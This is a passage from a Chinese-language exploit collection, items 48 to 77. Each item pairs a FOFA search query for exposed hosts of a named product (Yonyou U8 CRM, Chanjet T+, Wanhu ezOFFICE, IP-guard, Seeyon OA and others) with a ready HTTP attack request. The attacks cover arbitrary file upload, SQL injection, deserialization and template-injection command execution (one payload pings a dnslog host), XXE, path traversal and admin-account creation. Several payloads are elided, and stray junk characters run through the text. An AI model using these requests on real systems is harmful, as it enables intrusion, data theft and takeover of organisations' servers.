Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
. X/ o7 @* j& d+ WIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close


$ q* r5 U4 J) M' r" t4 R( x8 _
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
! [; c, J! G! L/ e0 @0 l* jPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
/ ^4 d' d* D! ]9 x- I2 I& s# NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 n- \7 c0 u" T  s/ n) D! D$ I4 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- g4 w# _4 ]: c& J2 H* B: sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
6 I6 z$ ]& i( z' z------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
" d. q. _9 r, A8 w, J% A' ]Content-Type: application/octet-stream
9 D) ?* i% G. K5 t- ]------269520967239406871642430066855
/ N( f9 F8 z3 }2 FContent-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
% ^. W1 F; Y4 U' P; ~) y% Q7 ~

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
  I7 ]8 D6 N* q) D8 g2 y6 s. |
- L) E- c. ^& u: `POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
1 n) M" K/ ~& z; L! @Host: x.x.x.x
$ W" i: w& }! s' l3 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ x4 c1 _  Q* T7 a8 d% P2 ~1 r2 E) dContent-Length: 329
- L6 w4 `" Y+ j3 V9 d% q+ I. X! @2 a4 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: H9 f" w5 N$ a1 a& mAccept-Encoding: gzip, deflate
, L; a" T: |6 a3 @( PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
& ]; s* K, _, w1 H( i4 eContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
. J$ l: D- r0 k8 A' y* e/ ?
1 P' m6 ~+ i2 ~wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

4 `( o2 c6 h' Rupload
: \# k5 v9 t: z1 }1 n-----------------------------vvv3wdayqv3yppdxvn3w--


2 @9 U7 B) p- k6 J+ j2 Lhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

$ l* M% s& f, ~( c! Z* ~2 o50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
) p) Y3 Q) j2 G( t: J6 K: w  k. S6 oHost: x.x.x.x
0 z8 i+ _+ y+ `* yUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
8 X+ h: ]5 B1 W0 \$ xAccept-Language: en
% d, u+ U7 h4 E9 \8 @7 z- P) xContent-Type: application/x-www-form-urlencoded
9 g, O4 I* d4 U$ NAccept-Encoding: gzip

$ P) I! @& u$ y4 \searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

; a! E) B0 ]7 E( u, h
7 o' I* J% M. j1 n9 N, h51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
0 Z4 v* x! E4 ]0 _GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
% u* j. [7 X$ w+ g) W& S3 ?Accept-Language: zh-CN,zh;q=0.9
1 n% g5 @. W8 pConnection: close

, |/ a( F0 b( F: K
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
1 Z& c! O" b( @& }9 p% SPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
! u; ~& S, t4 d) {9 A9 p) VContent-Length: 87
% {/ B0 ~" J. O# K* a/ sAccept: */*
Accept-Language: en
8 j  [/ l2 i5 `Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

) u- W& a+ p# Qtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
8 v& n  b2 g5 r( @. {0 x  D

53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
' p& k0 d) q0 b5 A2 }# _* T' k: P/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
, t; o# ^2 p: {! n9 B; |3 T
; O1 P! Y$ p' ^, e
* y# w3 f# u/ d( R8 K& M54. 畅捷通T+ getstorewarehousebystore 远程代码执行
; d# e( @4 W1 \* E6 ~! bFOFA：app="畅捷通-TPlus"
3 ?  x' k" K4 g; G& F9 l第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
9 x% M& M. P  ?$ V"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
- b. {, r3 w! L- `3 U- jPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
& C' l# p$ ]/ p) g4 ?, h3 _) O; EHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
8 u' Z' T4 @* J" o6 t8 ]$ C! B$ J3 uContent-Length: 593

" m2 O0 @! d4 M# \- d{
5 L5 h6 F4 h/ Q' f( z"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
! ~& P- o4 g/ `  @0 S- G   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
+ ^  H7 `8 k/ v$ @" n   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; ~6 x- i& y% `6 U) E. ~    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
  B- [: a4 v+ W$ q$ c( a    }
5 `, `) y- N9 H; L  }
, E, K1 r3 w* d! P3 u7 _' \8 F  }
}
4 w+ }, P7 D/ C, g

第二步，访问如下url
; H: F* _) `! Q/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
) |9 F, X1 a& r! G4 y+ o, ]

55. 畅捷通T+ getdecallusers信息泄露
) J% X, D& f  @- p+ q5 @8 @* L7 B! }FOFA：app="畅捷通-TPlus"
第一步，通过
% o/ E0 a& B' i/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
/ c( f& S  n3 n- h  G8 T第二步，利用获取到的Cookie请求
% f& l0 o2 g+ E1 W# c1 o4 ]/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
. W4 z3 a% D0 b! E
+ C* i; Q" O/ ^56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
  _8 i/ m2 w# J) ^" g1 xContent-Type: application/json
* O6 O1 f% R3 t" C" o' s
{
: C& p- @: f7 E& o5 k! A  "storeID":{
3 ]+ \8 Z* m- w: a# h2 S) g    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
( W( G; S8 F& t7 `" R  I6 t   "MethodName":"Start",
/ n3 ^7 g" s4 R0 E. `7 G7 w& k    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
, a; t' [, P& ]* Q/ b2 P       }
    }
6 S* c9 P: X  J% V  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
+ ?3 {7 u9 Y( Z  F) S- nHost: host
! n7 O8 M7 }8 ^1 EUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
" z: z. j3 l2 \$ J, H$ Z0 cAccept-Charset: utf-8
2 o8 F% G- H9 U7 t" `Accept-Encoding: gzip, deflate
Connection: close


3 M& x7 Y, [, f3 F2 \6 T58. 畅捷通T+ KeyInfoList.aspx sql注入
( k3 F8 v( A+ D- W2 M8 dFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
  a7 |3 w( W" zHost: your-ip
5 R3 H0 ^/ C! n3 `9 gUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. h& {1 T7 I6 w7 R  LAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
8 T) c- w  n8 A  k/ \) ZConnection: close
: S! }, k$ ?8 h  W
, N& q  o( M! S, f
# ]: q' b2 G& R7 e/ L# H59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
4 F. M  ^% ^; W( v8 F2 iFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
+ x% V0 E5 |. {& T7 LContent-Type: application/x-www-form-urlencoded
4 y3 G$ N9 w. yAccept-Encoding: gzip

  ]4 ?& Y) W, Z; CPAYLOAD
8 l2 g' Z* k- o$ j" ~
2 V6 Z8 j! E( L
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
2 R+ {+ l6 B$ f* h# \GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
7 F# Y$ ]$ N% O7 _Host:
, i7 O' }2 `5 c4 o$ h6 E- ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: @1 p; O" q9 q7 wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
" O2 @; N# ]) QFOFA: title="欢迎使用浙大恩特客户资源管理系统"
3 k4 V/ G2 c9 q3 k; L' |* H* ZPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
) A+ p& s+ G0 U  r- h0 \2 y6 ^$ YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
0 K7 ^+ a' q$ v2 MAccept: */*
Accept-Encoding: gzip, deflate
$ W9 a# ?% `& F$ |Accept-Language: en
( M9 q6 ]' W' Q' R, L9 {! `1 lContent-Type: application/x-www-form-urlencoded
3 L7 o' i4 l4 ~6 |' E9 n. ~( x
3 k8 R7 @  j  [; J# @8uxssX66eqrqtKObcVa0kid98xa

4 g% D; T/ A2 ^2 \7 b! _- R( ~
/ }( W5 P9 I; C62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
% n0 s% Z2 E, N$ D" L3 w3 F6 tGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
8 L- J$ B3 a) h  T- OConnection: close
Accept: */*
Accept-Language: en
1 u# A/ m' ~- I  j& w- Q6 I- @Accept-Encoding: gzip

4 j+ o; q+ L6 Q0 n& X
访问

) ]1 }, y9 T" z  r4 P8 |! |GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
9 ^6 C3 |2 ^2 g$ y( V

63. IP-guard WebServer任意文件读取
! t$ R: @- A  `IP-guard < 4.82.0609.0
+ p# I: z4 H" ?* H9 F8 v; u$ z1 mFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
& l" H0 h- i' ]0 oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" \' O) ~7 m- Q- h6 }Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

: N& p" z; U1 _; p. M64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
4 n  B) ]/ v1 }- F; l* d7 j8 NPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
' J0 M8 Z) ^: d/ @/ ^Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
/ d1 O4 k, r# \, eConnection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
3 }! _  C/ V# n* Y: S7 HAccept-Encoding: gzip

4 f( b% S8 v) N2 @7 ^: e; v<?xml version="1.0" encoding="utf-8"?>
7 }: f5 x/ D! w+ o<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! l; t* R. P9 q% b<soap:Body>
" z$ S; ~9 o- {7 w& m    <GetOSpById xmlns="http://tempuri.org/">
; i$ q" }9 F) _9 r7 s      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
8 }! M( a1 c- t/ b  </soap:Body>
- J5 O# |3 i8 r: C) }</soap:Envelope>
* `# i: G4 A& B7 \5 q1 _  o

' P2 j+ G0 N" F; {$ j( }65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
5 Z, v- p$ C& i$ t# a& O/ KPOST /SystemMng.ashx HTTP/1.1
Host:
/ |! Q+ d/ Z) a, f0 XUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
4 G5 J' J4 Z: W$ P$ QAccept: */*
: [7 D: K  }7 z6 cConnection: close
Accept-Language: en
: G5 b+ D) x+ qContent-Length: 174
8 r6 u, h' ^! ]$ M
6 @, K$ M  ^# E% S3 f6 N0 HoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
* ~4 O5 p7 V; a, C1 [/ x( X* R

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
% z3 A) u2 f. `% }! WFOFA：app="万户ezOFFICE协同管理平台"

- r8 w# Z5 ?; r9 jGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
4 r0 u  y: s" ^9 p! M8 FHost: x.x.x.x
4 d6 ^, y7 ^) G2 y, O4 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( Z0 n; `$ d8 ?# xConnection: close
! @) m5 L! i; z* d4 r4 rAccept: */*
Accept-Language: en
Accept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

4 Q: j3 K1 @- Z7 v) e* Y: ]67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
. V/ E5 S" k0 }POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
) }! D) l! C: QUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
$ L: O# k/ ^8 r6 u' r& zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
: m0 a% g( A! AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
1 {5 n- A3 c, [  R* IConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
0 e% x% x; T0 F' X: h. q6 q) vDNT: 1
9 T6 f7 |& ]7 `0 M* q7 [Upgrade-Insecure-Requests: 1
# o# y5 j9 e7 k/ P" x3 X
8 j: {5 Q( g' M1 Z7 T6 Q  W' m--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
" p1 f0 s; H7 }! @
) U5 i9 X% v- T<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
( U7 l6 E, R. t2 Y9 R6 O4 \* ~

4 S1 ?; p- z% I3 |3 \文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
9 E! b0 `2 k  l' l& m( f
1 T9 j0 X. a% O& h% N  v' g68. 万户ezOFFICE wf_printnum.jsp SQL注入
8 P* v0 F/ K+ G+ @/ _2 i) W9 IFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# E7 `4 ?- I/ i9 H% E! g' XHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
( z6 Y, n- h6 x& S/ ^Accept-Encoding: gzip, deflate
3 S3 P5 _9 j9 K7 ~+ O/ \Accept-Language: zh-CN,zh;q=0.9
) S8 O# ~; w! }& oConnection: close
! p+ _/ b0 N& ]# x+ v  i
7 w/ e7 S5 r, K$ a" u! J& i$ f: n
( w, A" f6 A" a4 U6 ~69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
; G- S' {, ~: r: }! p: W. h" aHost: your-ip
* S' R/ O( v& _0 f- a) d6 RUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
8 y9 t- |$ h5 g/ rAccept-Encoding: gzip, deflate
Accept: */*
! ?6 M9 `, Q7 R5 y5 `# MConnection: keep-alive
) e' m* J. o& X" j. G* A+ |
) @8 d1 w, L# ^1 v/ s
! w8 E1 m9 |9 \( f. H0 {70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
6 N7 B6 T: ~5 ^1 QPOST /member/success.aspx HTTP/1.1
$ F8 L+ x- g5 Y5 K+ YHost: {{Hostname}}
$ }  F9 V6 J/ f! ?) S8 U$ _) EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
! v% x6 M) Q6 g& r; `0 ]SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
+ t: Y+ a1 z4 R" T: [Content-Type: application/x-www-form-urlencoded
; V, k8 _! q; lTYPE: C
Content-Length: 16702

! m# X9 E! F6 I& G' M__VIEWSTATE=PAYLOAD
- O5 ]& H2 U" |) {, v

7 `" t/ v( v+ d9 c, g/ a+ l71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
/ l) G3 X) y! aHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 I+ q3 w  e  |$ }. {0 PConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( j  D- e. P- t8 M! ]0 e+ nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' o' n: D3 d; m7 D! s8 aUpgrade-Insecure-Requests: 1

4 D- [5 b1 R+ @
' p3 A* e/ P+ F) D% w6 j72. 致远OA getAjaxDataServlet XXE
4 E+ Q% L7 g8 GFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
* V' s5 [9 @7 M$ ~User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
& z- T( ^+ o# |  hConnection: close
) H) G% y- y" fContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

1 L8 U7 I! P7 E, A1 RS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

3 e7 \! F$ F) d+ ]( z! X; k
+ O1 J# s2 C' B: l5 d* Q1 d73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
9 ~3 `1 }1 W) ^1 p3 T) KPOST /geoserver/wms HTTP/1.1
Host:
8 X* U1 v! \, ^  u; Y& {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" j8 }/ N+ y1 ~4 Q( lContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
" l3 y8 t8 e5 [9 |0 _, sContent-Type: application/xml
1 C9 U7 x8 {8 p* b$ H6 }) z' RSL-CE-SUID: 3
# Q8 S  _6 i5 C4 e9 w* t, U
2 J% f  Q3 N5 z/ wPAYLOAD
2 u7 e$ F: f1 G) L7 k7 g8 ]

74. 致远M3-server 6_1sp1 反序列化RCE
7 [2 v# O( j. C5 f% T! V- {2 W( q( j# ~FOFA：title="M3-Server"
: ~5 o! I5 v$ cPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
! l" t# w0 S7 A3 P8 C+ L* S, ^FOFA：app="TELESQUARE-TLR-2005KSH"
9 a& }4 T. Q* ?1 _6 S' |GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
8 {6 G0 ~0 u6 M# ^$ o/ q: U% MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
  e' x; I4 X2 m$ wAccept: */*
Accept-Language: en
4 |; a2 w7 \! G3 \# LAccept-Encoding: gzip

6 u: P# j! }7 `/ e( |9 o
4 b- t3 u2 K3 Q# w  iGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
$ s' ]7 B+ H, J  @( H* f2 [4 ^POST /service_transport/service.action HTTP/1.1
( [0 _. ~+ R: X2 u, i% kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
! j) W& N. D* L7 `" X2 w1 sContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
: Q/ f+ n1 k# g, YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ z& e' m) I) N; lCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
/ |' Y. q* P9 P0 O; l"command": "GetFZinfo",
0 A- K2 d8 y- Z  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
; q* o( p$ |1 T5 G  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
. A# q  g2 y% B+ l
' J& j. z1 I; C5 s4 j; @
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
. S1 e$ Z1 n4 F& I# s
+ w& G) Z3 C1 u

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
